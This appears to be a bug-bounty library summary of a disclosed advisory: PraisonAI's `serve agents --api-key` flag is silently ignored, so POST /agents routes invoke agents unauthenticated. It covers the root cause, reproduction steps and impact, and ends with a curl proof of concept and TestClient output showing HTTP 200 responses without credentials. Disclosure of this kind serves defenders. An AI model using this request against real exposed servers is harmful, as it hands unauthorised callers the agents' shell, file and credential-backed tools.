# PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated

PraisonAI's `serve agents --api-key` flag is parsed but never enforced, so POST /agents and /agents/{name} invoke agents unauthenticated.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: riodrwn
- Disclosed: 2026-08-25
- CVE: CVE-2026-55538
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r7v3-x45f-g7hp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r7v3-x45f-g7hp
- Tags: area:ai domain:ai domain:web impact:internal-access kind:research platform:ghsa sev:high tech:python tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** FastAPI agent-invocation HTTP routes (/agents, /agents/{agent_name})
**Root cause:** `_create_agents_app()` never reads `config["api_key"]` and attaches no auth dependency to the direct n8n-compat agent routes, even though a working `verify_token` dependency guards the sibling /api/v1 router in the same app.
**Steps:**
1. Start server: `praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret`
2. Send `POST /agents/owned` with body `{"query":"hello"}` and no credentials
3. Observe HTTP 200 `{"response":"..."}` instead of 401; repeat with wrong bearer, wrong `X-API-Key`, empty bearer — all 200
4. Contrast: `GET /api/v1/agents` without token returns 401 via `Depends(verify_token)`
**How found:** Source review of the CLI: noticed `--api-key` is advertised and forwarded into `ServeHandler`, then grepped `cli/features/serve.py` for `api_key` and found only the two spec entries — never read in `_create_agents_app()`. Noted no `Depends`/`Header` imports and no 401 anywhere in the agents routes, while the co-mounted `agent_invoke` router uses `Depends(verify_token)`.
**Exploitation:** Any network caller reaching the exposed port invokes registered agents by name with an arbitrary query, driving the agent's LLM credentials, RAG/memory, MCP, browser/search or shell/file tools; no credential of any kind is required.
**Escalation:** Operators trusting the advertised `--api-key` may bind 0.0.0.0 or front with a reverse proxy for n8n integration, widening exposure; agent tool access can extend impact beyond LLM cost to file/shell/MCP capabilities.
**Insight:** When a CLI flag claims to configure auth, grep the flag name across the whole code path and confirm it is actually consumed at the app-construction site; a co-mounted router with a working auth dependency is a strong tell that sibling routes were simply forgotten.

## Proof of concept (copied exactly from the original report)

**curl POST to /agents/owned without credentials**

```
praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret
curl -sS -X POST http://TARGET:8765/agents/owned \
  -H 'Content-Type: application/json' --data-binary '{"query":"hello"}'
# -> 200 {"response":"..."}  (expected: 401 Unauthorized)
```

**TestClient results showing 200 on unauthenticated POST /agents**

```
== Direct agent-invocation route (the bug) ==
  POST /agents/owned [no creds      ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [wrong bearer  ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [wrong x-api-key] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [empty bearer  ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents       [no creds      ] -> HTTP 200  {'response': 'EXEC:hi'}
```

